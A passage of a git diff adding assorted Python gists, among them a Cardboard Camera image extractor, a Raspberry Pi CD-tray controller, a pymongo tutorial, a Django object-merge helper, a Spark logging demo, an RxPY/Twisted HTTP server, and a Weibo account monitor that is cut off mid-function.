np.amin(scores), + "Running:", sum(running[-100:])/(min(len(running),100)), "Current Best:", curr_score) + + #update the weights + print("Updating ", eps) + for l in range(1,len(networks[0].model.layers)): + weight_dot = noise[l-1] + bias_dot = bias_noise[l-1] + + weight_dot = np.dot(weight_dot.transpose(1,2,0), std) + #bias_dot = np.dot(bias_dot.transpose(1,2,0), std) + + curr_weights[l-1] = curr_weights[l-1] + LEARN_RATE/(NUM_WORKERS*SIGMA) * weight_dot + if APPLY_BIAS: + curr_bias[l-1] = curr_bias[l-1] + LEARN_RATE/(NUM_WORKERS*SIGMA) * bias_dot diff --git a/hard-gists/011004bcac763eaf6f28/._snippet.py b/hard-gists/011004bcac763eaf6f28/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/011004bcac763eaf6f28/._snippet.py differ diff --git a/hard-gists/011004bcac763eaf6f28/snippet.py b/hard-gists/011004bcac763eaf6f28/snippet.py new file mode 100644 index 00000000..b5bfc8ed --- /dev/null +++ b/hard-gists/011004bcac763eaf6f28/snippet.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python +# +# Google Cardboard Camera extractor +# Extracts audio and second image from the XMP header in Cardboard Camera images +# Requires python-xmp-toolkit ( pip install python-xmp-toolkit ) +# +# Usage: +# $ carboardcam_extract.py myimage_vr.jpg +# +# Creates two new files - myimage_vr_audio.mp4 and myimage_vr_righteye.jpg +# +# License: MIT +# Copyright (c) 2015 Andrew Perry +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +import sys +from os import path +from base64 import b64decode +from libxmp.utils import file_to_dict + +img_filename = sys.argv[1] +xmp = file_to_dict(img_filename) + +audio_b64 = xmp[u'http://ns.google.com/photos/1.0/audio/'][1][1] + +afh = open(path.splitext(img_filename)[0]+"_audio.mp4", 'wb') +afh.write(b64decode(audio_b64)) +afh.close() + +image_b64 = xmp[u'http://ns.google.com/photos/1.0/image/'][1][1] + +ifh = open(path.splitext(img_filename)[0]+"_righteye.jpg", 'wb') +ifh.write(b64decode(image_b64)) +ifh.close() diff --git a/hard-gists/0115e0ce312f26ff59f4fbf4f5821ca2/._snippet.py b/hard-gists/0115e0ce312f26ff59f4fbf4f5821ca2/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0115e0ce312f26ff59f4fbf4f5821ca2/._snippet.py differ diff --git a/hard-gists/0115e0ce312f26ff59f4fbf4f5821ca2/snippet.py b/hard-gists/0115e0ce312f26ff59f4fbf4f5821ca2/snippet.py new file mode 100644 index 00000000..3ab16360 --- /dev/null +++ b/hard-gists/0115e0ce312f26ff59f4fbf4f5821ca2/snippet.py @@ -0,0 +1,135 @@ +#!/usr/bin/python + +# open/close CD/DVD tray from Raspberry Pi GPIO via H-Bridge + +import RPi.GPIO as GPIO +import time +import sys +import signal + +GPIO.setmode(GPIO.BOARD) + +# open/close switches on CD/DVD tray +OPSW = 22 # G25 +CLSW = 37 # G26 + +# H-bridge 2-bit control input, where: +# K1 K3 +# K2 K4 +# K1 = C +# K2 = not (C or D) +# K3 = not (C or D) +# K4 = C +# therefore: +# D C K1 K2 K3 K4 operation +# 0 0 0 1 1 0 forward +# 0 1 1 0 0 1 reverse +# 1 0 0 0 0 0 coast +# 1 1 1 0 0 1 reverse +C = 38 # G20 +D = 40 # G21 + +# status LEDs +LED_Y = 32 # G12 +LED_B = 33 # G13 + +GPIO.setwarnings(False) +GPIO.setup([OPSW, CLSW], GPIO.IN, pull_up_down=GPIO.PUD_UP) +GPIO.setup(C, GPIO.OUT, initial=GPIO.LOW) +GPIO.setup(D, GPIO.OUT, initial=GPIO.HIGH) # "disable" by default +GPIO.setup([LED_Y, LED_B], GPIO.OUT, initial=GPIO.HIGH) + +def open(): + # forward + print "opening" + GPIO.output(C, False) + GPIO.output(D, False) + +def close(): + # reverse + print "closing" + GPIO.output(D, False) # set first + GPIO.output(C, True) + #GPIO.output(D, False) + +def coast(): + print "coasting" + GPIO.output(C, False) + GPIO.output(D, True) + + +def closed(): + return not GPIO.input(CLSW) + +def opened(): + return not GPIO.input(OPSW) + +def handle(pin): + value = GPIO.input(pin) + + if pin == OPSW: + GPIO.output(LED_Y, value) + elif pin == CLSW: + GPIO.output(LED_B, value) + +def emergency_coast(ignored): + print "timed out, coasting" + coast() + +limit = 0 +direction = None +if len(sys.argv) > 1: + if sys.argv[1] == '-h': + sys.stderr.write("""usage: %s [limit] [direction] +\tlimit: maximum number of seconds to drive [default: 0=until done] +\tdirection: direction to drive if if partially open, open/close [default: open] +""" % (sys.argv[0],)) + print + raise SystemExit + + limit = float(sys.argv[1]) + print "limit",limit +if len(sys.argv) > 2: + direction = sys.argv[2] + print "direction",direction + +signal.signal(signal.SIGALRM, emergency_coast) +signal.alarm(10) + +coast() +GPIO.add_event_detect(OPSW, GPIO.BOTH, handle) +GPIO.add_event_detect(CLSW, GPIO.BOTH, handle) + + +print "opened=",opened() +print "closed=",closed() + +time.sleep(0.1) + + +if opened(): + close() +elif closed(): + open() +else: + # partially open, open all the way (unless overridden) + if direction == 'close': + close() + else: + open() + +started = time.time() +for i in range(50): + time.sleep(0.5) + if opened(): + print "opened, done" + break + if closed(): + print "closed, done" + break + elapsed = time.time() - started + if limit != 0 and elapsed >= limit: + print "user-specified time limit %s exceeded, done" % (limit,) + break + +coast() diff --git a/hard-gists/015e2ce27cecdea63564/._snippet.py b/hard-gists/015e2ce27cecdea63564/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/015e2ce27cecdea63564/._snippet.py differ diff --git a/hard-gists/015e2ce27cecdea63564/snippet.py b/hard-gists/015e2ce27cecdea63564/snippet.py new file mode 100644 index 00000000..af62b32b --- /dev/null +++ b/hard-gists/015e2ce27cecdea63564/snippet.py @@ -0,0 +1,313 @@ +########################################################################## +# THE MICRO MONGODB+PYTHON BOOK +# +# A simple adaptation to Python + summary of +# The Little MongoDB Book: https://github.com/karlseguin/the-little-mongodb-book +# +# javier arias losada +# twitter: @javier_arilos + +# Usage suggestion: run line by line bu using pydemo project (https://github.com/pablito56/pydemo) +# You will need a MongoDB instance up and running. +# >> pip install pymongo +# >> pip install git+https://github.com/pablito56/pydemo.git +# >> pydemo micro-pymongo.py + +# ******** Chapter 1 - The Basics: +# * +# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-1---the-basics +# +# MongoDB (from "humongous") is an open-source document database, (...) MongoDB features: +# Document-Oriented: JSON-style, with dynamic schemas. +# Full Index Support: Index on any attribute. +# Replication & High Availability: Across LANs and WANs. +# Auto-Sharding: Scale horizontally. +# Querying: Rich, document-based queries. +# Fast In-Place Updates: Atomic modifiers. +# Map/Reduce: Flexible aggregation and data processing. +# GridFS: Store files of any size. +# MongoDB Management: Monitoring and backup. + +# databases >> collections >> documents >> fields + +# Pymongo + MongoDB make it very easy to work: +# create a client +import pymongo +from datetime import datetime +client = pymongo.MongoClient() + +# use micro database +db = client['micro-mongodb-python-book'] + +# insert a document (a Python dict) into unicors collection +db.unicorns.insert({'name': 'Aurora', 'gender': 'f', 'weight': 450}) + +# both database and collection are, lazy initialized if do not exist + +# mongodb is schemaless, we can insert a document with different structure +db.unicorns.insert({'client_id': 'Mickey', 'specie': 'mouse', 'weight': 0.450}) + +# find returns a Cursor object, we can iterate over it. +for doc in db.unicorns.find(): + print doc + +# Querying data and selectors: +# remove documents in the collection +db.unicorns.remove() + +# First, insert some unicorns' data for later querying +db.unicorns.insert({'name': 'Horny', + 'dob': datetime(1992,2,13,7,47), + 'loves': ['carrot','papaya'], + 'weight': 600, + 'gender': 'm', + 'vampires': 63}); +db.unicorns.insert({'name': 'Aurora', + 'dob': datetime(1991, 10, 24, 13, 0), + 'loves': ['carrot', 'grape'], + 'weight': 450, + 'gender': 'f', + 'vampires': 43}); +db.unicorns.insert({'name': 'Unicrom', + 'dob': datetime(1973, 1, 9, 22, 10), + 'loves': ['energon', 'redbull'], + 'weight': 984, + 'gender': 'm', + 'vampires': 182}); +db.unicorns.insert({'name': 'Roooooodles', + 'dob': datetime(1979, 7, 18, 18, 44), + 'loves': ['apple'], + 'weight': 575, + 'gender': 'm', + 'vampires': 99}); +db.unicorns.insert({'name': 'Solnara', + 'dob': datetime(1985, 6, 4, 2, 1), + 'loves':['apple', 'carrot', + 'chocolate'], + 'weight':550, + 'gender':'f', + 'vampires':80}); +db.unicorns.insert({'name':'Ayna', + 'dob': datetime(1998, 2, 7, 8, 30), + 'loves': ['strawberry', 'lemon'], + 'weight': 733, + 'gender': 'f', + 'vampires': 40}); +db.unicorns.insert({'name':'Kenny', + 'dob': datetime(1997, 6, 1, 10, 42), + 'loves': ['grape', 'lemon'], + 'weight': 690, + 'gender': 'm', + 'vampires': 39}); +db.unicorns.insert({'name': 'Raleigh', + 'dob': datetime(2005, 4, 3, 0, 57), + 'loves': ['apple', 'sugar'], + 'weight': 421, + 'gender': 'm', + 'vampires': 2}); +db.unicorns.insert({'name': 'Leia', + 'dob': datetime(2001, 9, 8, 14, 53), + 'loves': ['apple', 'watermelon'], + 'weight': 601, + 'gender': 'f', + 'vampires': 33}); +db.unicorns.insert({'name': 'Pilot', + 'dob': datetime(1997, 2, 1, 5, 3), + 'loves': ['apple', 'watermelon'], + 'weight': 650, + 'gender': 'm', + 'vampires': 54}); +db.unicorns.insert({'name': 'Nimue', + 'dob': datetime(1999, 11, 20, 16, 15), + 'loves': ['grape', 'carrot'], + 'weight': 540, + 'gender': 'f'}); +db.unicorns.insert({'name': 'Dunx', + 'dob': datetime(1976, 6, 18, 18, 18), + 'loves': ['grape', 'watermelon'], + 'weight': 704, + 'gender': 'm', + 'vampires': 165}); +# Inserted some unicorns' data for later querying + +# MongoDB selectors are the equivalent to WHERE clauses in relational DB's +# a selector is an object instructing how to match objects in the collection + +# find all male unicorns +for doc in db.unicorns.find({'gender': 'm'}): + print doc + +# find all male unicorns that weigh more than 700 pounds +for doc in db.unicorns.find({'gender': 'm', 'weight': {'$gt': 700}}): + print doc + + +# female unicorns which either love apples or oranges or weigh less than 500 pounds +cursor = db.unicorns.find({'gender': 'f', '$or': [{'loves': 'apple'}, {'loves': 'orange'}, {'weight': {'$lt': 500}}]}) +for doc in cursor: + print doc + +# ******** Chapter 2 - Update: +# * +# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-2---updating +# + +# We have now many unicorn documents, let's update one of them: +db.unicorns.find_one({'name': 'Roooooodles'}) + +# Update takes a minimum of two arguments, one Selector object to match and an update object +db.unicorns.update({'name': 'Roooooodles'}, {'weight': 590}) + +# Let's check the result +db.unicorns.find_one({'name': 'Roooooodles'}) +# No results? How that can be? Check the result of the following + +db.unicorns.find_one({'weight': 590}) +# Update, by default will replace the matched document with the new document provided + +# How can we update just some fields and keep the rest unchanged? $set operator +# Let's recover our wrongly updated unicorn: +db.unicorns.update({'weight': 590}, {'$set': { + 'name': 'Roooooodles', + 'dob': datetime(1979, 7, 18, 18, 44), + 'loves': ['apple'], + 'gender': 'm', + 'vampires': 99}}) + +db.unicorns.find_one({'name': 'Roooooodles'}) +# In all previous update operations, the Roooooodles' document _id is the same + +# Other update modifiers: +# $inc for incrementing/decrementing a numeric field +db.unicorns.update({'name': 'Roooooodles'}, {'$inc': {'vampires': -2}}) +db.unicorns.find_one({'name': 'Roooooodles'}) + +# $push for adding element to an array field +db.unicorns.update({'name': 'Roooooodles'}, {'$push': {'loves': 'carrot'}}) + +# update modifiers can be combined to do many operations on a single operation +db.unicorns.update({'name': 'Roooooodles'}, {'$push': {'loves': 'potato'}, '$inc': {'vampires': 6}}) +db.unicorns.find_one({'name': 'Roooooodles'}) + +# many push and inc can on multiple elements be done in a single operation +db.unicorns.update({'name': 'Roooooodles'}, {'$push': {'loves': {'$each': ['apple', 'durian']}}, '$inc': {'vampires': 6, 'eggs': 1}}) +db.unicorns.find_one({'name': 'Roooooodles'}) + +# mongodb supports Upserts (Update or Insert) +# Let's count hits on our application pages +db.hits.update({'page': 'unicorns'}, {'$inc': {'hits': 1}}) +db.hits.find_one() + +db.hits.update({'page': 'unicorns'}, {'$inc': {'hits': 1}}, upsert=True) + +db.hits.find_one() + +# By default, update modifies just one document +db.unicorns.update({}, {'$set': {'vaccinated': True}}); +for unicorn in db.unicorns.find({'vaccinated': True}): + print unicorn + +# multiple updates can be applied in a single operation, by setting named parameter multi=True +db.unicorns.update({}, {'$set': {'vaccinated': True}}, multi=True); +for unicorn in db.unicorns.find({'vaccinated': True}).limit(5): + print unicorn + +# ******** Chapter 3 - Mastering Find: +# * +# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-3---mastering-find +# + +# We can ask mongodb to return just some fields when selecting documents +# _id is included by default unless we explicitly exclude it +# the rest of fields are not included by default +for doc in db.unicorns.find({}, {'_id': 0, 'name': 1}): + print doc + +# Sorting documents +for doc in db.unicorns.find({}, {'name': 1, 'weight': 1}).sort([('name', pymongo.ASCENDING), ('vampires', pymongo.DESCENDING)]): + print doc + +# Paging results +for doc in db.unicorns.find({}).sort([('name', pymongo.ASCENDING)]).skip(3).limit(2): + print doc + +# Counting results +db.unicorns.find({'vampires': {'$gt': 50}}).count() + +# ******** Chapter 4 - Data Modelling: +# * +# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-4---data-modeling +# + +# No joins are available in MongoDB. +# Let's going to create three employees: Leto, Duncan and Moneo. Leto is the manager. +from bson.objectid import ObjectId +db.employees.insert({'_id': ObjectId('4d85c7039ab0fd70a117d730'), 'name': 'Leto'}) +db.employees.insert({'_id': ObjectId('4d85c7039ab0fd70a117d731'), 'name': 'Duncan', + 'manager': ObjectId('4d85c7039ab0fd70a117d730')}); +db.employees.insert({'_id': ObjectId('4d85c7039ab0fd70a117d732'), 'name': 'Moneo', + 'manager': ObjectId('4d85c7039ab0fd70a117d730')}); + +for employee in db.employees.find({'manager': ObjectId('4d85c7039ab0fd70a117d730')}): + print employee + +# This relationships can be stored in arrays to model 1:N relationships +# Let's supose some employees can have many managers +db.employees.insert({'_id': ObjectId('4d85c7039ab0fd70a117d733'), 'name': 'Siona', + 'manager': [ObjectId('4d85c7039ab0fd70a117d730'), + ObjectId('4d85c7039ab0fd70a117d732')] + }) + +# The previous query still works +for employee in db.employees.find({'manager': ObjectId('4d85c7039ab0fd70a117d730')}): + print employee + +# We can also model by nesting documents inside documents: +db.employees.insert({'_id': ObjectId('4d85c7039ab0fd70a117d734'), 'name': 'Ghanima', + 'family': {'mother': 'Chani', + 'father': 'Paul', + 'brother': ObjectId('4d85c7039ab0fd70a117d730')}}) + +# Embedded documents can be queried with dot-notation: +for employee in db.employees.find({'family.mother': 'Chani'}): + print employee + +# DBRef objects allow to reference a collection and document from our document. +# Some drivers may get automatically the referenced object. Pymongo does so. + +# Want to see the employee => manager example with DBRef? https://gist.github.com/javierarilos/d5fce5d50b1b9b8e2784 + +# ******** Chapter 5 - When to use MongoDB: +# * +# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-5---when-to-use-mongodb +# + +# Out of the scope of this doc, see the link if you want to know more. + +# Geospatial queries: http://mongly.openmymind.net/geo/index + +# ******** Chapter 6 - Map and Reduce: +# * +# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-6---mapreduce +# + +# Out of the scope of this doc, see the link if you want to know more. + +# ******** Chapter 7 - Performance and Tools: +# * +# https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-7---performance-and-tools# +# + +# Creating and deleting an index on name field +db.unicorns.ensure_index([('name', pymongo.DESCENDING)]) +db.unicorns.drop_index([('name', pymongo.DESCENDING)]) + +# An index can be set as Unique (not repeated values for the indexed field) +db.unicorns.ensure_index([('name', pymongo.DESCENDING)], unique=True) + +# Indexes can be set in embedded fiels and in array fields. +# Indexes can be compound on different fields: +db.unicorns.ensure_index([('name', pymongo.DESCENDING), ('vampires', pymongo.ASCENDING)]) + +# Explain, get some information on how query executes +db.unidorns.find().explain() diff --git a/hard-gists/01886b6f79ba0c4dce66/._snippet.py b/hard-gists/01886b6f79ba0c4dce66/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/01886b6f79ba0c4dce66/._snippet.py differ diff --git a/hard-gists/01886b6f79ba0c4dce66/snippet.py b/hard-gists/01886b6f79ba0c4dce66/snippet.py new file mode 100644 index 00000000..c8142a20 --- /dev/null +++ b/hard-gists/01886b6f79ba0c4dce66/snippet.py @@ -0,0 +1,91 @@ +from django.db import transaction +from django.apps import apps +from django.contrib.contenttypes.fields import GenericForeignKey +from django.db.models.fields.related import ManyToManyField + + +@transaction.atomic() +def merge(primary_object, *alias_objects): + """Merge several model instances into one, the `primary_object`. + Use this function to merge model objects and migrate all of the related + fields from the alias objects the primary object. + Usage: + from django.contrib.auth.models import User + primary_user = User.objects.get(email='good@example.com') + duplicate_user = User.objects.get(email='good+duplicate@example.com') + merge(primary_user, duplicate_user) + Based on: https://djangosnippets.org/snippets/382/ + """ + generic_fields = get_generic_fields() + + # get related fields + many_to_many_fields, related_fields = discrimine( + lambda field: isinstance(field, ManyToManyField), + primary_object._meta._get_fields(forward=False, include_hidden=True) + ) + + # Loop through all alias objects and migrate their references to the + # primary object + for alias_object in alias_objects: + # Migrate all foreign key references from alias object to primary + # object. + for related_object in related_fields: + # The variable name on the alias_object model. + alias_varname = related_object.get_accessor_name() + # The variable name on the related model. + obj_varname = related_object.field.name + related_objects = getattr(alias_object, alias_varname) + for obj in related_objects.all(): + setattr(obj, obj_varname, primary_object) + obj.save() + + # Migrate all many to many references from alias object to primary + # object. + for related_many_object in many_to_many_fields: + alias_varname = related_many_object.get_accessor_name() + obj_varname = related_many_object.field.name + related_many_objects = getattr(alias_object, alias_varname) + for obj in related_many_objects.all(): + getattr(obj, obj_varname).remove(alias_object) + getattr(obj, obj_varname).add(primary_object) + + # Migrate all generic foreign key references from alias object to + # primary object. + for field in generic_fields: + filter_kwargs = {} + filter_kwargs[field.fk_field] = alias_object._get_pk_val() + filter_kwargs[field.ct_field] = field.get_content_type(alias_object) + related_objects = field.model.objects.filter(**filter_kwargs) + for generic_related_object in related_objects: + setattr(generic_related_object, field.name, primary_object) + generic_related_object.save() + + if alias_object.id: + alias_object.delete() + + return primary_object + + +def get_generic_fields(): + """Return a list of all GenericForeignKeys in all models.""" + generic_fields = [] + for model in apps.get_models(): + for field_name, field in model.__dict__.items(): + if isinstance(field, GenericForeignKey): + generic_fields.append(field) + return generic_fields + + +def discrimine(pred, sequence): + """Split a collection in two collections using a predicate. + + >>> discrimine(lambda x: x < 5, [3, 4, 5, 6, 7, 8]) + ... ([3, 4], [5, 6, 7, 8]) + """ + positive, negative = [], [] + for item in sequence: + if pred(item): + positive.append(item) + else: + negative.append(item) + return positive, negative diff --git a/hard-gists/0191e14717af68bbba81/._snippet.py b/hard-gists/0191e14717af68bbba81/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0191e14717af68bbba81/._snippet.py differ diff --git a/hard-gists/0191e14717af68bbba81/snippet.py b/hard-gists/0191e14717af68bbba81/snippet.py new file mode 100644 index 00000000..b8823b00 --- /dev/null +++ b/hard-gists/0191e14717af68bbba81/snippet.py @@ -0,0 +1,61 @@ +""" +This gist demonstrates that spark 1.0.0 and 0.9.1 +don't serialize a logger instance properly when code runs on workers. + +run this code via: + spark-submit spark_serialization_demo.py + - or - + pyspark spark_serialization_demo.py +""" +import pyspark +from os.path import abspath +import logging + +# initialize logger +log = logging.getLogger('alexTest') +_h = logging.StreamHandler() +_h.setFormatter(logging.Formatter("%(levelname)s %(msg)s")) +log.addHandler(_h) +log.setLevel(logging.DEBUG) +log.info("module imported and logger initialized") + + + +FUNC = 'passes()' + + +def myfunc(*ignore_args): + log.debug('logging a line from: %s' % FUNC) + return 0 + + +def passes(): + mycode_module = __import__('spark_serialization_demo') + print(textFile.map(mycode_module.myfunc, preservesPartitioning=True).take(5)) + + +def fails(): + print(textFile.map(myfunc, preservesPartitioning=True).take(5)) + raise Exception("Never reach this point because code fails first due to serialization error") + + +if __name__ == '__main__': + sc = pyspark.SparkContext("local[10]", 'test') + textFile = sc.textFile("file://%s" % abspath(__file__), 5) + print('\n\n---') + + FUNC = 'fails()' + log.info( + "This example fails because it serializes a function that" + "does not initialize the logger when the function is unserialized") + try: + fails() + except Exception as err: + log.error("See, I failed! Details: %s" % err) + + print('\n---') + + log.info( + "This example passes because it serializes a module that initializes" + " the logger when the module is unserialized") + passes() diff --git a/hard-gists/019fd5c706e0bc94879f/._snippet.py b/hard-gists/019fd5c706e0bc94879f/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/019fd5c706e0bc94879f/._snippet.py differ diff --git a/hard-gists/019fd5c706e0bc94879f/snippet.py b/hard-gists/019fd5c706e0bc94879f/snippet.py new file mode 100644 index 00000000..bdc0d6d7 --- /dev/null +++ b/hard-gists/019fd5c706e0bc94879f/snippet.py @@ -0,0 +1,167 @@ +# coding=utf-8 +from StringIO import StringIO +from datetime import timedelta + +from rx import Observer +from rx.concurrency import TwistedScheduler +from rx.disposables import Disposable +from rx.subjects import Subject +from twisted.internet.protocol import Factory, Protocol, connectionDone +from twisted.internet.endpoints import TCP4ServerEndpoint +from twisted.internet import reactor + +scheduler=TwistedScheduler(reactor) # using this to schedule timeouts + +KEEP_ALIVE_TIMEOUT=10 # seconds +READ_TIMEOUT=5 # seconds + + +class HttpConnection(Protocol): # Protocol for Twisted + listener=Subject() # shared by all connections + + def connectionMade(self): + self.data_in=Subject() + self.listener.on_next(self) + + def connectionLost(self, reason=connectionDone): + self.data_in.on_completed() + + def dataReceived(self, data): + self.data_in.on_next(data) + + +class HttpParser(Observer): + def __init__(self, conn): + super(HttpParser, self).__init__() + self.conn=conn + self.buf=StringIO() + self.requests_in=Subject() + self.responses_out=HttpWriter(conn) + self.keep_alive_timeout_dispose=Disposable.empty() + self.read_timeout_dispose=Disposable.empty() + self.keep_alive_timer_on() + + def schedule_timeout(self, seconds): + def action(scheduler, state=None): + print 'timeout', seconds + self.requests_in.on_error(HttpResponse(408, 'Request Timeout')) + + return scheduler.schedule_relative(timedelta(seconds=seconds), action) + + def clear_timeout(self, disposable): + try: + disposable.dispose() + except: # Twisted sometimes complains when we try to cancel timeout after it has already fired + pass + + def keep_alive_timer_on(self): + self.keep_alive_timer_off() + self.keep_alive_timeout_dispose=self.schedule_timeout(KEEP_ALIVE_TIMEOUT) + + def keep_alive_timer_off(self): + self.clear_timeout(self.keep_alive_timeout_dispose) + + def read_timer_on(self): + self.read_timer_off() + self.read_timeout_dispose=self.schedule_timeout(READ_TIMEOUT) + + def read_timer_off(self): + self.clear_timeout(self.read_timeout_dispose) + + def parse_request(self, buf): + lines=buf.split('\r\n') + first_line=lines[0].split() + if len(first_line)==3: + self.requests_in.on_next(HttpRequest(self.conn, first_line[0], first_line[1])) + else: + self.requests_in.on_error(HttpResponse(400, 'Bad Request')) + + def on_next(self, data): + self.keep_alive_timer_off() + self.read_timer_on() + self.buf.write(data) # append new data + buf=self.buf.getvalue() + eor=buf.find('\r\n\r\n') # check we've got full request + if eor>=0: + self.buf=StringIO() + self.buf.write(buf[eor+4:]) # leave remainder in buf + self.parse_request(buf[:eor]) + self.read_timer_off() + self.keep_alive_timer_on() + + def on_error(self, e): + print 'parser got error', e + self.keep_alive_timer_off() + self.read_timer_off() + self.requests_in.on_error(HttpResponse(500, 'Internal Server Error')) + + def on_completed(self): + print 'parser completed' + self.keep_alive_timer_off() + self.read_timer_off() + self.requests_in.on_completed() + + +class HttpWriter(Observer): + def __init__(self, conn): + super(HttpWriter, self).__init__() + self.conn=conn + + def on_next(self, resp): + self.conn.transport.write(resp.render()) + + def on_error(self, e): + print 'writer got error', e + if isinstance(e, HttpResponse): + self.conn.transport.write(e.render()) + self.conn.transport.loseConnection() + + def on_completed(self): + print 'writer completed' + self.conn.transport.loseConnection() + + +class HttpRequest(object): + def __init__(self, conn, method, uri): + self.conn=conn + self.method=method.upper() + self.uri=uri + + def __str__(self): + return ''%(self.method, self.uri) + + +class HttpResponse(object): + def __init__(self, status_code, status_text, content=None, headers=None): + self.status_code=status_code + self.status_text=status_text + self.content=content or '' + self.headers=headers or ('Content-Type: text/plain; charset=utf-8', + 'Content-Length: '+str(len(self.content))) + + def render(self): + return 'HTTP/1.1 '+str(self.status_code)+' '+self.status_text+'\r\n'+'\r\n'.join( + self.headers)+'\r\n\r\n'+self.content + + def __str__(self): + return ''%(self.status_code, self.status_text) + + +def accept_connection(conn): + # wire the data flow + http=HttpParser(conn) + conn.data_in.subscribe(http) + http.requests_in.map(handle_request).subscribe(http.responses_out) + + +def handle_request(req): + # print 'req', req.method, req.uri + return HttpResponse(200, 'OK', content='Hello, '+req.uri+'!') + + +HttpConnection.listener.subscribe(accept_connection) + +# run Twisted +# listening on port 8007 +TCP4ServerEndpoint(reactor, 8007).listen(Factory.forProtocol(HttpConnection)) +reactor.run() diff --git a/hard-gists/01b8b8e1909ae0f601c85e142f2bd15b/._snippet.py b/hard-gists/01b8b8e1909ae0f601c85e142f2bd15b/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/01b8b8e1909ae0f601c85e142f2bd15b/._snippet.py differ diff --git a/hard-gists/01b8b8e1909ae0f601c85e142f2bd15b/snippet.py b/hard-gists/01b8b8e1909ae0f601c85e142f2bd15b/snippet.py new file mode 100644 index 00000000..4c40c011 --- /dev/null +++ b/hard-gists/01b8b8e1909ae0f601c85e142f2bd15b/snippet.py @@ -0,0 +1,182 @@ +#!/usr/bin/env python +# encoding=utf-8 + +import codecs +import json +import os +import sys + +from pushbullet import Pushbullet +from weibo import Client +from xtls.util import BeautifulSoup + +APP_HOME = os.path.join(os.path.expanduser("~"), '.weibo_monitor') +if not os.path.isdir(APP_HOME): + os.mkdir(APP_HOME) + +PUSHBULLET = Pushbullet('PUSH_BULLET_API_KEY') + +APP_KEY = '*****' +APP_SECRET = '******' +CALLBACK_URL = 'https://api.weibo.com/oauth2/default.html' +AUTH_URL = 'https://api.weibo.com/oauth2/authorize' +USERID = '******' +PASSWD = '*******' + + +class ObjectDict(dict): + def __getattr__(self, key): + if key in self: + return self[key] + return None + + def __setattr__(self, key, value): + self[key] = value + + +class User(ObjectDict): + def __init__(self, id_, avatar_hd, description, followers_count, friends_count, location, name, url): + super(User, self).__init__( + id=id_, + avatar_hd=avatar_hd, + description=description, + followers_count=followers_count, + friends_count=friends_count, + location=location, + name=name, + url=url + ) + + def diff(self, other): + diff = [] + if self.name != other.name: + diff.append(u'昵称') + if self.avatar_hd != other.avatar_hd: + diff.append(u'头像') + if self.description != other.description: + diff.append(u'简介') + if self.location != other.location: + diff.append(u'地址') + if self.url != other.url: + diff.append(u'博客') + return diff + + def __eq__(self, other): + return self.id == other.id + + +class Tweet(ObjectDict): + def __init__(self, id_, text, source, geo, retweeted_status=None): + super(Tweet, self).__init__( + id=id_, + text=text, + source=source, + geo=geo, + retweeted_status=retweeted_status + ) + + +class Weibo(ObjectDict): + """ + { + "user": #User, + "tweets": [#Tweet, #Tweet, ...], + "last": Tweet.id + } + """ + + def __init__(self, user, tweets=None, last=0): + if tweets is None: + tweets = [] + super(Weibo, self).__init__( + user=user, + tweets=tweets, + last=last + ) + + +def get_weibo(uid): + path = os.path.join(APP_HOME, '{}.wm'.format(uid)) + if not os.path.exists(path): + return Weibo(None) + with codecs.open(path, 'rb', encoding='utf-8') as fp: + data = json.loads(fp.read()) + return Weibo(get_user(data), + tweets=[get_tweet(t) for t in data['tweets']], + last=data['last']) + + +def save_weibo(uid, data): + data = json.dumps(data, ensure_ascii=False, sort_keys=True) + path = os.path.join(APP_HOME, '{}.wm'.format(uid)) + with codecs.open(path, 'wb', encoding='utf-8') as fp: + fp.write(data) + + +def get_user(status): + return User( + status['user']['id'], + status['user']['avatar_hd'], + status['user']['description'], + status['user']['followers_count'], + status['user']['friends_count'], + status['user']['location'], + status['user']['name'], + status['user']['url'], + ) + + +def get_tweet(status): + return Tweet( + id_=status['id'], + text=status['text'], + source=status['source'], + geo=status['geo'], + retweeted_status=None + ) + + +def send_noti(title, body): + print u'send <{}>, <{}>'.format(title, body) + PUSHBULLET.push_note(title, body) + + +def main(uid): + client = Client(APP_KEY, APP_SECRET, CALLBACK_URL, username=USERID, password=PASSWD) + data = client.get('statuses/friends_timeline') + statuses = [status for status in data['statuses'] if status['user']['id'] == uid] + statuses.sort(key=lambda x: x['id'], reverse=True) + if not statuses: + return + weibo = get_weibo(uid) + newest = get_user(statuses[0]) + + if weibo.user is None: + weibo.user = newest + + diff = weibo.user.diff(newest) 